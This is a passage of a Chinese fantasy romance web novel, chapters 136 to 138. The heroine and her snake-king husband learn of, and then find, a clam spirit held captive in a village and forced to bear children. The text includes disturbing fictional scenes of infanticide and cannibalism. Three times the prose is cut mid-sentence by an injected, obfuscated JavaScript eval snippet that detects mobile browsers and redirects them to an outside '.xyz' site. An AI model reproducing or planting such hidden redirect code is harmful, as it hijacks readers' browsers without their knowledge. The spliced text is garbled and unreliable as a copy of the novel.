小妹妹,听姐的,吃不下饭是病! 你啊,有点边界感吧,人家小两口爱怎么吃怎么夹,与你有什么关系,你跑过去指指点点,像什么话啊。 要不然,姐姐给你介绍点同龄男孩子吧,蛇王这一款,你撩不动,惹**他他真会把你咔擦了!” 小姑娘捧着受伤的那只手,咕咚咽了口口水。 眸子湿漉漉的,看起来乖乖的,像只灵动的小鹿。 我咳了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354626|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,厚着脸皮淡定道:“我饭量是大了点,但我家蛇王习惯了,我就喜欢吃他给我夹的菜!” 青漓早就看我碗里那块鱼肉不爽了,趁机将我们俩的饭碗调换,冷声警告:“本尊不喜欢别人离本尊太近,尤其是女人!” 小姑娘委屈瘪嘴:“蛇王哥哥……” “本尊更讨厌别人同本尊乱攀关系,你若学不会尊重本尊的夫人,就少在本尊面前晃悠。” 青漓揽袖又重新夹了块鱼腹,顺道还剜了宋潮生一眼,威胁道: “本尊的夫人,只爱吃本尊夹的菜,别人的筷子若再敢往本尊夫人碗里伸,本尊不介意砍了他的狗爪子!” 宋潮生手里的饭碗铛一声歪在了饭桌上。 考虑到宋潮生先前给我下过催眠术,我赶忙佯作怪罪青漓:“和你说多少遍了,你又吓唬人。” 一只手偷偷在桌子下抓住他膝上衣袍,拍拍他的腿安慰他。 我若有其事道:“再说,潮生哥又不是外人!你不想让我吃潮生哥夹的菜,以后大不了我都不吃了!就没见过你这么不讲理的男人!” 不讲理的男人占有欲极强的亦是在桌下偷偷攥住了我的手,悄然与我十指相扣。 “本尊不讲理也不是一天两天了,夫人既然说了不再吃他夹的菜,那今天的事,本尊就暂且不追究。” 青漓配合地与我对完台词,余光瞟了眼还杵在身后的小姑娘,冷漠问道:“你打算,一直站在这,不走了?” 小姑娘一愣,羞窘地赶忙跑回自己的座位上。 我瞧着小姑娘面红耳赤跑开的背影,狐疑皱眉。 她刚才给青漓夹菜的时候,我闻见她身上有股异味。 男人闻着,或许是香甜的女儿香。 我闻着,却是股熟悉的腥臭。 这味道,我再熟悉不过…… 是宋花枝身上的。 见小姑娘老实落了座,金大叔这才放心与李叔继续谈话。 酒过三巡,金婶子与金老伯都离席了。 金大叔脸颊微红的努力睁大眼,与李叔说:“要说这六臂通天佛,它也不是造成咱们村这么多人卖女儿的元凶……” 一把揽住李叔的肩,金大叔闷咳两声道: “老李啊,我和你说,都是因为村长家的那个女人……她太能生了,生的全是儿子。 大家都有儿子了,女儿当然就不值钱了……嘘老李,你千万别告诉大祭司啊! 我们都答应过村长,不说出去、坚决不说的!” “女人?”李叔赶紧追问:“什么女人?” 金大叔嘶了声,说: “应该不是人,但是长得漂亮啊,是村长从外面带回来的,三个月就能生出一个孩子。 那肚皮鼓起来的快,瘪下去的也快。 就,潮生他表舅,家里那个儿子,就是那个女人生的。 我们村里,一大半人家的男娃子,都是她生的,来咱们村两年了!” 第136章 蛇王大人他力不从心 “三个月就能生出一个孩子?” 银杏握着筷子惊叹: “她是猫吗?三个月就能生!” 金大叔酒精上头,醉醺醺的与李叔勾肩搭背: “猫?她应该没猫能生……但、也逊色不了多少。她一胎,可不止生一个,去年腊月,一胎生了八个!老李,你敢想八个还不是同一个爹!” “什、什么?”李叔肉眼可见的迷茫了。 金大叔的闺女捏着一块鸡翅八卦道: “从大前年秋天,村长把那个女人带回村子开始,每隔三个月,就会有一批男人去村长家,和那个女人相处整整三天三夜,对外称是播种。 等那些男人再出来,那个女人的肚子就已经鼓起来了,像普通女人怀孕四五个月的大小。 最开始,村长还会允许那个女人挺着大肚子在外面闲逛,可后来那个女人总往水里扎,惹怒了村长,村长就把她拽回家再也不许她出来了。 但我前一阵还听村头的王叔说,那个女人现在被村长锁在自家柴房里,村长好吃好喝地供着她,她人都胖了一圈,看来在村长家过得蛮好,小日子挺滋润。” “等等,你是说,每隔三个月,那个女人能怀上一批男人的、一批孩子?!”银杏错愕不已:“我还是低估她了,这可比猫还厉害!” 金家小姑娘**以为常地点点头: “对啊!最近这段时间还算节制了,一胎只生五六个,村长刚把她带回村那阵子,最多的一胎,可是生了十二个。 只是质量不大好,十二个里面总有两三个畸形,后来村长为了保证胎儿们的健康,就把每一批的人数控制在六个左右。 不过,村长这么做的确效果显著,那女人只要一胎生五六七个,就能保证每一个胎儿都十分健康完整,没有小毛病。 去年冬天那一胎,是村长小姨子的男人背着村长,拉着自家堂哥偷偷溜进了柴房给那个女人播种,这才导致那个女人突然又生了八个。 那女人生产前,村长可是怕得日夜烧香求菩萨保佑,唯恐又生下畸形,但幸好那一胎个个都是健全儿。 只是生完那一胎,那个女人出了很久的血,为了让那个女人养好身体,村长特意给她留了一个月休养生息的时间。 村长怕再这么生,把母体折腾坏了,所以打那以后就严令任何人不准偷偷给那个女人播种,不然就打断他的腿。” 晕乎着的金大叔意外拧眉:“闺女儿,这事你怎么知道得这么清楚!你爹我都不清楚这个中细节……” 金家小姑娘捏着鸡翅一顿,想了想,敷衍道:“我经常去别人家玩,听我那些姐妹家里大人说的。” 金大叔恍然:“哦,原来是这样。” 银杏意犹未尽地追问:“村长带那个女孩进村,就是为了让她给村里人传宗接代?村长、收钱吗?那个女孩又是什么来历?” 金家小姑娘鼓了鼓腮帮子:“那肯定不是白给人家生孩子的啊!村长是要收那女人的伙食费与营养费的。不过不多,只要五百块。” “五百就能买一个孩子……能保证每胎每一个都是男孩吗?万一生了女孩……”我担忧得欲言又止。 金家小姑娘摆摆手:“那个女人只会生男孩,不会生女孩!她在我们村生了那么多孩子,就没有一个是女娃!连畸形的那些,都是货真价实的带把男丁!” “畸形的那些,留下来了吗?”银杏试着接问。 小姑娘挑眉,理所当然道:“为什么要留下来?不是脑袋畸形,就是一条腿长一条腿短……留下来谁养,这种残次品一定要处理掉的。” 我哽了哽:“怎么处理?” 小姑娘道:“烧了,或者活埋,或者扔水里……有部分被人拿回去做菜了。” “做菜!”银杏俏脸被吓得煞白。 我也听得头皮发麻…… “对啊,拿这东西做菜还是补品呢,村里部分老人家可喜欢吃了。” 我猛吞了口口水。 真是造孽! “那女孩是从哪来的,我们也不知道,我们只知道那女孩是村长从外面捡回来的…… 我们原来猜测,那女孩是迷路误闯进阴苗族的大学生,但,后来发现她体质异于常人,她这样子,肯定不是人类啊…… 说不准是村长从哪拐的、山里刚修成人形的野仙。” “既然知道是野仙,你们村长还敢留着她啊!”一直没说话的阿乞皱眉吐槽。 小姑娘不开心的噘嘴瞪了他一眼,娇嗔道: “她不还没成气候嘛!等她厉害了,咱们不就更没机会降住她,让她给咱们村传宗接代了嘛!” “可这样,未免太残忍了……”宋潮生也听不下去的低喃。 小姑娘却不以为然: “她是野仙,是精怪,天生就是坏东西,你们干嘛要可怜她啊!精怪能给咱们村的叔伯们传宗接代,是咱们抬举她,看得起她! 再说,她那么笨,连法术都不会,要不是村长大发慈悲愿意收留她,她早就死在外面了!” “闺女,你、你怎么这样说呢,她是精怪,可她从头到尾没害过人……”金大叔为难道。 小姑娘俏皮的冲金大叔吐了吐舌头:“爸你可怜她,也没见你干涉村长,不让村长用她肚子生孩子啊。” 金大叔顿时语塞。 我沉沉叹了口气,人性啊,总是这么丑陋不堪、可怕。 “那,她同时生那么多孩子,别人如何辨认哪个孩子是自己的呢?”银杏好奇探头。 小姑娘淡定道:“简单,滴血认亲,最古老的办法,也是最快速便捷的法子!” 银杏:“……” —— 在金大叔家被刷新了三观后,我与青漓,还有银杏就跟着宋潮生回了他家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354627|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂住。 原本宋潮生是打算绅士一回,自个儿主动搬竹竿串成的小床板去堂屋睡,把东厢房安排给我和青漓,西厢房安排给银杏的…… 但我一看西厢房里供着他爷爷的牌位,墙上还挂着他爷爷的遗像,立马就猜出留银杏一个人睡在西厢房,她肯定会害怕。 于是在我与青漓的一致要求下,银杏才不好意思的抱着被褥搬来了我们的东厢房。 将西厢房还给了宋潮生。 银杏在我们床对面支了两条长板凳,将编成小床板的几十根竹竿放在长凳上,借助长凳的支撑,缓缓铺开。 支稳竹竿床后,才将发霉的褥子铺上,随身携带过来的床单罩上。 “我在你们屋,确认不会影响到你们夫妻……?”银杏边铺床,边歉意询问。 我拧干抹布疯狂擦拭长霉的桌子,“不会,你就放心睡吧!这间屋子够大,住咱们三绰绰有。再说,以前我在你家,我和你,还有李大叔,我们不也经常挤在一间屋子里!” 银杏尴尬地轻咳两声: “那都是多久以前的事了,那会子咱俩还小,你才七八岁。而且,我不是怕你们嫌挤……我是想着、你们小夫妻,新婚燕尔,年轻气盛,精力旺盛……” 我:“???” 银杏傻兮兮笑笑:“我在这,影响你们……给我生小侄子!” 我噎住。 青漓:“……” 谁脑子秀逗了在别人家……咳! 我瞬间憋红了脸,羞窘道:“不影响!青漓……最近养身体!” 青漓:“???” 我心虚地僵着脖子,根本不敢直视青漓那灼热且委屈的目光。 银杏却像是突然发现了什么了不得的惊天大秘密,错愕捂嘴,不敢置信地望着青漓,悄悄往我身边挪了挪,压低声八卦地问我: “不能吧,蛇王大人瞧起来……气血挺足的啊!怎么年纪轻轻就那方面不行了呢?” “那、哪方面?!你……”我惊恐瞪大眼看向她。 她蹙眉煞有其事道:“哎,我懂,咱俩姐妹之间,有什么不能说的……他都需要养身体了,还不是不行吗?” 我激动地呛咳两声,做贼心虚地赶忙轻轻和她解释: “你、别这么说,他听见了得杀了你……我说的养身体不是那个意思……” 不是他不行啊! 银杏一把按住我的手背,完全沉浸在了自己的想象中: “我都懂,姐妹!啊我想起来了,找到问题关键了!蛇王大人虽然看着年轻,但他的岁数肯定已经很老很老了……啧,老牛吃嫩草,难免有些力不从心啊!” 老牛吃嫩草…… 力不从心…… 我正被她的话惊得脑中嗡嗡响,谁知另一道凝重嗓音也如晴天霹雳般骤然劈在我的头顶—— “什么力不从心?你说的,是本尊么?” 第137章 娘娘,你果然在阴苗族! “我……” 我手速极快地一把捂住银杏嘴,急忙否认:“没有、不是、你听错了!” 某蛇王黑着脸,低眸冷冷凝视我,眼神里写满了‘我不信’三个大字:“是么?” 我捂着银杏点头如捣蒜:“是的是的,我还能骗你吗?” 谁料想话刚说完,蛇王大人就硬气捞过我的腰肢,将我重重往怀里一收,敛眉委屈控诉: “是本尊不行么?分明是夫人同本尊赌之前的气,不肯让本尊碰。本尊也想知道,夫人打算何时同本尊,给你的好姐妹生个小侄子。” 我颤颤重复:“生侄子……” 赶紧打消他这个可怕的念头:“不管何时,反正不是现在……你、别耽搁我擦桌子,你铺床去!” 银杏摇头啧啧感叹:“我还以为是蛇王大人、咳……原来不行的是镜镜你啊!” “我、哪里不行了!”我不高兴地嘟囔道:“谁让他前段时间那么、嚣张!还和紫蛇一起骗我……” 银杏回到小床前抻被子:“那他要是不骗你,真和别的女人合作演戏刺激你,你岂不是更生气?” 我噎住。 银杏过分的继续唬我: “情况再糟糕点,他和别的女人,不是演戏……你老公真和别的女人跑了,你岂不是哭都找不着他人? 而且,要我说,你俩之所以有这场误会,一个躲在家里偷偷掉眼泪,一个藏在外面胡思乱想焦虑抑郁,责任并不全在蛇王大人身上。 镜镜你自己,也是有问题的。” 我:“……” 我当然知道我有问题……但,我就是想和青漓耍点小脾气。 看他以后还敢不敢再不分青红皂白就抛弃我了! “你分明早就喜欢上人家蛇王大人了,偏嘴硬不承认。 其实我都懂,你啊,是对自己没信心,不敢相信蛇王大人待你好,是因为蛇王大人他先爱上了你。 你从小就被母亲抛弃,是老祭司这个亲外婆把你养大的。 老祭司呢,成天又很忙,根本没多少时间陪你。 你是大祭司女儿这件事,在村里根本瞒不住,人人都在你耳边说,大祭司是你的生身母亲。 而你看着别人家的孩子,都能亲昵依偎在自己母亲的怀抱里撒娇嬉戏。 看着你一母同胞的姐姐被你的亲妈牵在身边视若珍宝,你心里还是蛮难受的。 你缺爱,你也试图伸手去牵过自己母亲的手,你渴望大祭司能像对宋花枝那样,温柔抚摸你,用充满溺爱的眼神凝视你。 可结果,是一次又一次的被抛弃。 你不敢和老祭司诉说你的难受,你怕你的情绪为老祭司徒增烦恼。 久而久之,你就养成了一副不争不抢的心性。 你对外界不再有情感需求,不再主动索取别人的喜欢。 相反,若是别人肯主动给你喜欢,给你爱,你还会诚惶诚恐,会惧怕再次被抛弃。 蛇王大人就是这样,你明明对他早就有感觉了,可你总是打心底怀疑自己不配拥有这么好的伴侣。 加上,蛇王大人与你之间,身份地位还是有些差距的……你心中的这份不安,就会被无限放大。 蛇王大人吧,虽然是大妖,但他道行深能力强。 虽然不做人,但他长得帅啊! 虽然一大把年纪了,但他可以长生不老。 虽然脾气臭,但他对心爱的姑娘体贴入微。 虽然……” “李银杏。”青漓听不下去的黑脸打断:“本尊合理怀疑,你是想趁机骂本尊。” 银杏一僵,立马装无辜摆手,满脸真诚: “没有没有,我是想表达,蛇王大人你太优秀,反而会让镜镜害怕万一得到后,又失去了……” 她说的这些,的确是我内心最真实的想法。 “是本尊、忽略了阿鸾的感受。”青漓歉意地揽紧我,心疼抬起另一只手,抚了抚我的脑袋:“下次不敢了,夫人……本尊永远都不会背叛夫人,本尊是夫人的大青蛇,从未变过……” 温言软语,甚是肉麻。 我老脸发烫的不好意思推推他:“哎呀我、知道了……你去边上歇着吧,我桌子还没擦完呢。” 宋家已经好几年没住人,十来年没常住人了,屋里的木质家具都发霉腐烂了,房梁都快长蘑菇了! 满屋子都是潮湿的霉臭味,桌子不擦干净,压根没法往上面放东西。 “我来。”青漓从我手里接过抹布,把我拉去边上歇着。 随后挽起宽大袖袍,动作娴熟利落地顶替我清理屋内桌椅木质表层的青灰霉斑。 银杏铺好床,想了想,还是将床上的旧被子拎起来,凑在鼻尖嗅嗅。 随即把自己的被子与我和青漓床上的这套一起抱出去,晾在外面的老杨树上。 顺手掸了掸被子上的浮灰,将被套表面的褶皱抹平面向晒人的阳光,这才重新回到屋里翻开包袱收拾自己的换洗衣物。 “被子放久了,霉味太重,下午外面的阳光还不错,正好能给被子除除尘,让被子沾沾阳气。” 叠好暗红色镶苗铃的小马甲,银杏把衣物放在床里侧,不太高兴地小声嘀咕: “刚才我去问潮生哥要不要一起晒被子,潮生哥却说我矫情。 还说他上大学那会子最烦的就是女学生不分日子的晒被子,每次路过操场与小花园,围栏和石雕像上都是女生们花花绿绿的棉被,十分煞风景。 潮生哥说,被子这种私密物,他是不喜欢明晃晃地挂在大众面前的,他上学时就希望女生们能自尊自爱,在有男人的地方晒被子,和女生特意把自己的贴身衣物挂在男人眼前有什么区别…… 他家以前都不晒被子的吗?被子在柜子里存放久了肯定会有潮味,需要通通风见见阳光的呀!再说,晒被子,怎么就不自尊自爱了。 反正我是受不了那个味儿……潮生哥不喜欢,大不了我们晒个把小时就收进来。” “被子、什么时候和贴身衣物、相提并论了……他这人怎么强词夺理呢。”我听得一头雾水。 银杏无奈叹气:“哎,可能这就是个人生活习惯吧,我们现在暂住潮生哥家,就、尊重潮生哥的习惯。” “你啊,究竟什么时候才能改了无限包容他的这个臭毛病。”我心累扶额。 有条不紊做着家务的蛇王大人冷不丁冒出一句:“等她移情别恋,她这个臭毛病自然就消失了。” 我从包里掏出小水壶,用水壶的杯装壶盖接了点从家里带过来,还温热着的白开水,递给忙着做家务的青漓:“她?移情别恋?那得等到猴年马月啊!” 宋潮生都离家四年了,她还是没能忘掉宋潮生,宋潮生一回来,这姑娘就跟中了**蛊一般一个劲地往宋潮生眼前扑…… 再加上那个真假难分扑朔迷离的梦…… 银杏对宋潮生的滤镜,怕是十年八年都破不了! 便如银杏自己所说,除非,当年的梦中人另有他人,且这个他人还已经真真切切出现在了她的眼前…… 她确定了宋潮生不是她的梦中人,自然就不会再喜欢宋潮生了。 毕竟银杏对宋潮生的喜欢、无底线包容,都是源自那个梦,源于那个陪她熬过生死劫的温柔男子…… 青漓接过水杯,想要抚我的脸,却在扫见手上的一滴污浊水渍时,立马顿住了动作。 伸了一半的手臂又负回了腰后。 满眼爱意的温存凝望我,唇畔微微上扬,意味深长道:“也许,快了呢。” 可也许,终归只是也许,赌一个可能。 不过在我看来,银杏会移情别恋的可能……比我刮彩票中一千万的可能都低! 说起彩票…… 我兴致勃勃与青漓道:“前一阵子我不是和银杏一起买彩票了吗,我猜猜我中多少!” 青漓眉眼和煦的浅笑问我:“嗯?多少?一千吗?” 我摇摇头,激动地伸出一个巴掌:“五千二百元整!当时正和你闹别扭呢,就没带你分享这个喜讯!” 青漓挑眉,满意颔首:“夫人运气不错。” 银杏也凑上来苦着一张脸道:“蛇王老爷,你猜猜我中了多少。” 青漓瞟了眼银杏的苦瓜脸,“看你这表情,就知道你中的不多。” 银杏委屈瘪嘴,欲哭无泪地干嚎:“何止中的不多啊……我中了三毛!呜呜呜,亏我还提前拜了祖师爷!” 我故意逗她,冲她捏指比心:“三毛也是祖师爷对你的爱呀!” 银杏窝窝囊囊地低头哼唧: “祖师爷的爱太廉价了,还是华桑大帝的爱能拿出手,他竟然让你中了五千二! 你听听这数字,五二零零,我永远爱你! 我决定了,回家我就去请一尊华桑大帝的神像放在我屋里。 我早晚三炷香的供着他老人家,不求他老人家让我下次也中个五二零零,中五二零就成了!” “咳,你该不会不知道,阳苗族都是把华桑大帝当财神爷供的吧……” “我听说过,谁知道和他求财真灵啊!而且,你这次中奖是真的蛮邪乎的…… 我明明记得我挑的就是另一款彩票,三天就能开奖,谁知道我们俩竟然都没发现,买错彩票类型了! 这个彩票得一个来月才能开奖……我之前没留意,还以为自己没中奖呢。 那天晚上突然给我跳出一条中奖三毛的信息,我差点把它当成**消息了……” “我也记得我们买的是财神临门彩票,可不知为什么后来变成了大满贯,要不是我手机上还有购买记录,我自己都说服不了自己。” “是吧!可能是也因为财神临门的标识和大满贯太像了,我们俩都看错了。” 银杏拉着我说东说西,青漓喝完水,便继续勤劳地去做家务。 直到我和银杏聊累了,疲惫地躺在小床上睡得迷迷糊糊。 青漓才停下收拾屋子,出门简单清洗完水盆与抹布,回屋坐在了我身边。 抚在我额间,轻轻给我撩头发的指腹还携着井水的丝丝凉意…… “两个笨姑娘,挑的什么彩票,上限只有一千,幸好本帝及时发现,给你们更改了彩票类型……” “李银杏,并非是你家祖师爷不保佑你。你的财运,都被宋潮生吸尽了!” “本帝原本想着,让你也中个两千块,便能陪着阿鸾一起开心了。” “谁料,他的命格,竟如此损你气运。” “他要找的人,不是阿鸾,是你才对……” “有你在,他宋家的气运,才能起死回生。” “但他家的气运回生了,你便要代他**。” 额间凌乱的碎发被他理至耳廊后。 须臾,忽有阴风至—— “属下白术,参见帝君。” “那东西呢?” “如帝君所料,他元气大伤,体内的另一个魂魄成功苏醒。属下与仇惑在那缕魂魄挣扎着要夺回身体掌控权时,出手帮了一把。 眼下那东西的魂已经顺利被封印回去了,由另一缕魂成为他身体的新主人。 只是,另一个魂比较胆小,警惕心太强,属下等原本想将他带回神庙听候帝君安排,谁知,他竟趁仇惑不注意冒死逃跑了。 之后我们再追,就抓不住了……帝君,是属下等失职!” “无妨,他离不开苗域,东西在李忘尘手中,他迟早还是会主动来找李银杏父女的。现在的他,对苗域的人没有任何恶意,放他在苗域自由活动,他翻不出什么大浪。” “是。” “查到金家那个小女孩为什么与宋花枝搅在一起了么?” “帝君,金家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359223|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,都不简单。” …… 入夜。 我和银杏悄悄摸到了村长家…… 值得一夸的是,村长家只有三间土坯房外加两间木头下屋,一间土坯厨房。 没有院子! 不需要翻院墙! 关押那个神秘女人的柴房在厨屋后面,离村长睡觉的东屋不远,但也不近。 至少中间隔了一个西屋一个堂屋。 柴屋这边有个什么小动静,村长那头是听不见的。 可能是怕村里男人半夜来偷人,柴屋的窗户都被木板封**。 柴屋大门上,落着一把古老的密码铜锁。 整间柴屋就像一个密闭的大盒子。 想一探里面究竟有什么,必须得打开柴屋门这唯一的盒盖。 “住在这里,不会被憋死吗?”银杏手里攥着小型手电筒,把门上的古老大铜锁拿起来仔细观察了一遍:“我去,这种锁,族里很少有人用了吧……还是密码锁!真损啊!” 我看着锁面雕刻的莲花与白鹤,嵌着的六枚铜铁滚珠,小声说: “这是古代的铜锁,其实比现代普及的那些铁锁安全多了,有的人用一根铁丝就能把现代的挂式大铁锁,或门上的嵌入式铜芯门锁给弄开。 而这种锁,普通款需要很长,且齿轮形状特殊的铜片钥匙才能打开,虽然也能被人用粗一些的铜铁撬开,但难度肯定比现代的大铁锁高几十倍。 加上现在很少有人会用古代的大铜锁,会开它的,也少之又少了。 村长家的这把大锁则更厉害,这上面的六颗滚珠,对应六个小机关。 这种锁没有钥匙,只能通过调整正确的密码暗号,打开内部所有小机关才能解开锁头。 而且它除了锁头与锁身连接的两个地方,以及嵌入滚珠的六个孔之外,剩余的地方是块完整的铜铁,所以即便有人想撬锁,也没有缝隙可插入工具。 想不用密码打开它,要么懂机关术,会开机关,要么,融了它。” 银杏将手电筒的光对准锁面滚珠上的文字,“这上面,是句诗吗?” 拨动两下,滚出不同的文字。 “有正常文字,还有数字,这怎么解啊!这上面的字我都认不全!”银杏苦恼地拉了拉我袖子:“镜镜你懂这么多,是不是也知道能打开它的办法?” 我淡定摇头:“我刚才都把它形容得这么厉害了,你为什么还是觉得我能打开它……” 银杏脸一垮,直起身抬头看我:“那怎么办……我们人都来了,总不能无功而返吧!” 我胸有成竹道:“反正人力是打不开了,我们只能借助法术弄它了!” 银杏:“哇你现在这么厉害了,都能用法力融铜了!” 我一本正经从宽大袖摆里掏出一条东西:“我不行,但是它可以,修炼八百年的老蛇,开个锁岂不是简简单单。” 银杏抓着手电筒,一时没看清我手里的东西,激动惊呼道:“哇你把蛇王带来了……” 喊完,又警惕地赶忙捂嘴。 被我拿在手里的长蛇热情打招呼:“嗨银杏妹妹~” 银杏一愣,拿手电筒往紫蛇身上照了照,眼底亢奋的火光瞬间熄了下去: “啊?你带的不是蛇王……是紫蛇。阿乞都说了,这家伙老不靠谱了。” 紫蛇闻言不悦地挺起脑袋:“我怎么不靠谱了!我紫蛇好歹也是正儿八经的得道蛇仙!我来给你们当队友,你们就偷乐吧!” “那你能弄开这把锁吗?”银杏伸手指了指门上的东西。 紫蛇看了眼,懵圈:“这么复杂的吗?” 银杏:“呵,我就知道你不行。” 紫蛇昂首挺胸: “不!哥只是怕哥的手段太残暴,妹妹们看着害怕~ 再说,弄开它的动静太大了,你们不就是要进去吗,整这么复杂干嘛,只有你们这些呆板的人类思想才会想着进一间房,先开门锁。 像我们这些高级生物,要进什么地方,直接穿墙!” 银杏再次燃起希望:“那你能带我们穿墙吗?” “小意思噻。”紫蛇脖子一扭,张嘴吐出一口紫气。 我与银杏眼前的景物顿时一阵模糊。 下一秒,我们就已经出现在那间压抑漆黑、宛若无孔铁皮牢笼的柴房里…… “哇紫蛇你还真有些本事。”银杏惊叹。 紫蛇厚着脸皮得意道:“什么叫有点本事,哥是很有本事好不好!” 话音刚落,我们身后就传来一阵铁链拖动,摩擦地面的声音…… 银杏一惊,赶紧拿手电筒照过去。 而电筒光映照出来的一幕,却令我们三都头皮发麻,身上起满鸡皮疙瘩。 一小束明光里,身上穿着宽大白裙子的女人披头散发背靠土墙瘫坐在地上…… 浑身脏兮兮的。 双手双脚都被手臂粗的铁链牢牢锁住了,四条铁链的另一端,拴在房梁上…… 女人的四周,地面皆是大片大片的暗褐色陈旧血迹。 右手边,摆着馊掉的鸡腿饭。 白色长裙上满是污血与泥土的混合污迹,裙摆堪堪只能遮盖到大腿。 凌乱的发丝上裹着泥浆,高高隆起的腹部,比人怀胎十月将要临产的肚子还大…… 可我明明记得,宋潮生表舅家的孩子还没办出生酒,刚生下地不到九天! 女人的状态极差,精神萎靡,艰难抬起苍白的面容…… 涣散的目光艰难凝聚在我们一行人身上。 与我们视线相接,女人愣了愣。 双方安静了半分钟后。 女人突然激动地发起了疯,不顾铁链的束缚,哭着朝我们急躁爬过来—— “真的是你……” “娘娘!你果然在阴苗族!” “娘娘,是我啊!” “我是阿蚌啊——” 第138章 她是蚌仙 阿蚌…… “你是蚌精!”紫蛇最先反应过来。 缓了缓,又错愕地看向我:“她是在喊你吗?你们认识?” 我紧忙否认:“不认识啊……” 银杏默默后退一步:“反正总不至于在喊我。” 我噎住。 正要再解释几句,谁知那女人竟猛地朝我扑过来,当场一把抱住我的双腿,全身颤抖、撕心裂肺地嚎啕痛哭: “娘娘、我是来找你的……带我走,救救我……娘娘,我想回家,我阿兄还在等我,娘娘,我是阿蚌,是月珠的女儿啊!娘娘,小时候,你还抱过我……” “你小时候,我抱过你?” 我惊讶想后退,却碍于双腿被她禁锢住寸步难移,只能心惊胆战地试图解释: “你、不是人,你都多大岁数了,我才二十二岁,怎么可能抱过你!你、是不是认错人了?” 紫蛇也在旁边帮忙解释: “对啊,你一只修行好几百年的蚌精,怎么可能被鸾镜妹子抱过…… 你叫的是这位娘娘吗?我鸾镜妹子是阴苗族的鬼师娘娘,你喊的娘娘,是哪个娘娘?” “不!我不可能认错!” 女人搂着我含泪坚持道: “娘娘的模样,我这辈子都不会忘记。什么鬼师娘娘……是您在人间的身份吗?” 她这话,倒让我和紫蛇银杏都迷糊了…… 她唯恐我不信,又赶紧从怀里、不知打哪掏出了一枚五彩银底小海螺,颤巍巍地送给我看: “娘娘,这是您当年留给我娘的信物。 您走后,我娘一直在思念你,本以为有生之年,我娘还有机会去昆仑谒见您,可谁知道、我娘命薄,五百年前就撒手人寰了…… 我娘走后,我被我阿兄带大,可三年前阿兄突遭飞来横祸,命在旦夕。 阿蚌去昆仑求见您,却被一而再再而三地赶出来,守山门的神女姐姐说,娘娘说不认识阿蚌,不记得阿蚌,还下令让她们告知阿蚌,若阿蚌再擅闯神宫,便将阿蚌格杀勿论…… 守山的神女姐姐还要打散阿蚌的魂魄,阿蚌害怕**。 阿蚌当时真的好无助,但阿蚌坚信娘娘不会不记得阿蚌,阿蚌可是娘娘最喜欢的小粉蚌,阿蚌猜,娘娘不见阿蚌肯定是出了什么事,或许,娘娘压根不在神宫…… 后来阿蚌去了鬼市,用自己的内丹同一位神仙换了一个消息。 他说,娘娘在阴苗族,阿蚌就赶紧来阴苗族找娘娘…… 但谁晓得,他们都骗我……娘娘,求你救我出去,我阿兄还在等着我救命。 阿蚌离开阿兄两年多,阿蚌不在阿兄身边,阿蚌害怕!” 女人哽咽着说完前因后果,捧着小海螺已泣不成声。 我见她捧海螺的那只手抖得实在厉害,于心不忍地将海螺接过来,仔细打量了一遍……还是没见过! 紫蛇一缕紫烟化成人形,走近些,好奇问我:“她说的这些,你听得懂吗?这海螺,真是你给她的信物?” 我无奈摇摇头,怕说出实情对她太过残忍,只好用口型无声地回答紫蛇:“不是我,我不认识她。” 银杏见状,眼底凝出丝丝悲悯,亦用口型向我们表述想法:“她,不会是被囚禁久了,脑子被憋出问题了吧!” 紫蛇双臂环胸,赞成地点点头,口型夸张:“我看像!” 银杏想了想,道:“让我来!” 靠近女人,银杏蹲下身,动作小心翼翼且温柔地握住女人手。 试图将女人的双臂从我身上扒拉下来。 掏出口袋里的绣花小方巾,银杏耐心地给女人擦拭脸上污痕。 擦完,确认女人的情绪被安抚稳定后,银杏才试着问道: “你是蚌仙?你来阴苗族是找人的?但这个村子的村长骗了你,他把你拐来了潮汐村,还囚禁你,逼迫你给村子里的男人们传宗接代,对吗?” 女人听完,灰暗的瞳孔总算燃起了一丝亮光,红着眼眶含泪点点头。 “我和你说,你先别激动,这位娘娘是我们阴苗族的鬼师,她是人,不是你口中的那位娘娘,但我们的确是来救你的……” “带我走!” 女人着急地一把攥住银杏胳膊,极度恐慌道: “他们、简直不是人!他们逼着我不停地孕育珠胎,他们拿我做生孩子的工具,他们不许我回家,我好难受,我想要水,我想要干净的水…… 没有水,我就无法恢复灵力。 为了把我囚在潮汐村,村长那个老头已经两年没给**净的河水喝了,他只许我喝浑浊的污水,说这样能加快我孕育珠胎的速度。 我的肚子,一次次被剖开,我好疼,我想回家、想回家——” 一时气血上涌,女人竟两眼一翻,虚弱的被气晕在银杏怀里。 